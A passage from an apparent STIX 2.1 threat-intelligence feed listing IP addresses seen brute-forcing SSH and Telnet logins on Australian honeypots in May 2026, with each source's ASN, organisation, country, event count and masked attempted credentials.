      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 482. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**2, 2******9, 3****0.",
      "id": "indicator--f273470b-7d58-4c81-8b5b-4391f146d967",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.102.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 482. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**2, 2******9, 3****0.",
      "id": "indicator--15d16b6a-1cc4-49d4-a9b4-3df7debd93a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.173.87.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 47119. Organisation(s): JSC Ufanet.",
      "id": "indicator--52f960bb-b4a2-4f30-a104-d2ab89154654",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.174.63.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MK. ASN(s): 43612. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--334d74f3-ab6f-4945-a765-93a4bfee7c25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.53.59.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--f2561595-fc6e-468f-9f88-c13ebab90e51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.253.225.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T22:15:05.000Z",
      "valid_until": "2026-06-17T22:15:03.000Z"
    },
    {
      "created": "2026-05-16T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 203675. Organisation(s): Vista Sh.p.k..",
      "id": "indicator--22f42b11-ec9f-4a21-b76c-509a13a453a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.82.109.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T22:15:05.000Z",
      "valid_until": "2026-06-17T22:15:03.000Z"
    },
    {
      "created": "2026-05-16T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 23956. Organisation(s): AmberIT Limited.",
      "id": "indicator--44e7147a-0da5-4e74-bc84-d81bdd9fe96d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.4.127.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T22:15:05.000Z",
      "valid_until": "2026-06-17T22:15:03.000Z"
    },
    {
      "created": "2026-05-16T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--aecd1c37-ab8e-4504-ab8c-eed9446eb382",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T22:15:05.000Z",
      "valid_until": "2026-06-17T22:15:03.000Z"
    },
    {
      "created": "2026-05-16T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--875e9b41-d1f0-493b-91f1-cd7f91b91e8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.83.249.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T22:15:05.000Z",
      "valid_until": "2026-06-17T22:15:03.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 45814. Organisation(s): Fariya Networks Pvt. Ltd..",
      "id": "indicator--bc44e88b-1293-4dc0-b7d6-9bf5aa338ab7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.192.132.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 22, 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): A**********, U********************************1, G*************1, G*********************************1, G*******************************1. Passwords observed (masked): A****************************e, C********************e, H**********************3.",
      "id": "indicator--8713c501-d10d-4a72-9a79-47e204cd4989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262740. Organisation(s): VELOO NET LTDA.",
      "id": "indicator--ea588fa5-eda5-4986-ac06-30f7d316c0cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.97.46.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 34471. Organisation(s): Free Technologies Excom S.L..",
      "id": "indicator--d4aa9b3d-7877-4910-8c94-ebce395008d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.153.18.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--258b4091-8c64-4cb6-9634-395f508293b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--a9e5c9ac-7885-481a-838f-fc129997485a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.64.106.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--33025a4a-a3b7-4f58-906c-15369c0802df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--2c70a97e-f1c7-486d-bb62-9e31c773274c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.122.253.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--87a4786f-dcd1-4a52-b03d-d34df6d6a8c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.249.115.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--d12455f3-4034-45a7-8754-218e065bbe12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T23:15:23.000Z",
      "valid_until": "2026-06-17T23:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 55736. Organisation(s): Dataknox Pty Limited.",
      "id": "indicator--2a50bc4f-b949-4987-895c-55ff63c98977",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.160.130.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--cfcfaeca-74e3-4634-86d4-c7f5bfa64630",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.106.63.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): q*******3, r********3.",
      "id": "indicator--cdda34b6-d210-40de-a532-02673ce6b401",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.113.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********6, 1******2, 1**************R, 2******9, 2**7.",
      "id": "indicator--3ac597ee-ce5f-4503-99c0-a292a86ba25a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.109.20.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 209. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A.. Usernames observed (masked): r**t, w*******y, 3**********4, a***n, a**x. Passwords observed (masked): 1****6, A*******!, 0**********!, 1**4, 1******8.",
      "id": "indicator--f0a4d48d-7701-4d37-a527-da3528f66291",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.95.83.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t. Passwords observed (masked): h*****2.",
      "id": "indicator--8e3bbc39-fe9f-49c0-9473-afefb7d9fd19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.227.235.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c*******3.",
      "id": "indicator--7c6f5180-ad2e-47c7-97e7-655f55b41a80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.99.72.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**5, 1*******d, 1**1, 2******9, 2**6.",
      "id": "indicator--86089c38-6702-4c42-aecd-8bd9e2f065bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.47.9.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--f1f04ff1-0ba4-4ff7-8a75-6c24a153bc6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.142.143.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--1315b782-bec5-491f-8527-59cdcad89654",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.149.12.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 209. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: QA. ASN(s): 8781. Organisation(s): Ooredoo Q.S.C.. Usernames observed (masked): r**t, a***n, ***, 3**********4, c********e. Passwords observed (masked): ***, 0**********!, 1*******3, 1******2, 1******@.",
      "id": "indicator--7db383df-808b-4e1a-8acc-875d10c6a716",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.211.58.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272118. Organisation(s): DATALINK, C.A..",
      "id": "indicator--20b05188-b3be-4d1a-ba59-0500fb69caab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.150.88.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--d00a2a2f-deb2-43c5-9c87-d418c8dc967c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.86.55.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 9617. Organisation(s): JCOM Co., Ltd..",
      "id": "indicator--49981e74-ac77-4658-b95b-e5b3faf19413",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.251.137.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T00:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--726be400-53d1-4509-9917-7865d52c6020",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T00:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.76.128.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:16:02.000Z",
      "valid_until": "2026-06-18T00:15:08.000Z"
    },
    {
      "created": "2026-05-17T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b27e978c-7057-46d0-bfa6-7dc2a597ed9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.227.198.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T01:15:12.000Z",
      "valid_until": "2026-06-18T01:15:08.000Z"
    },
    {
      "created": "2026-05-17T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--8e78122c-f2ca-4f5a-bfa1-b00fee7a911c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.52.206.90']",
      "pattern_type": "stix",
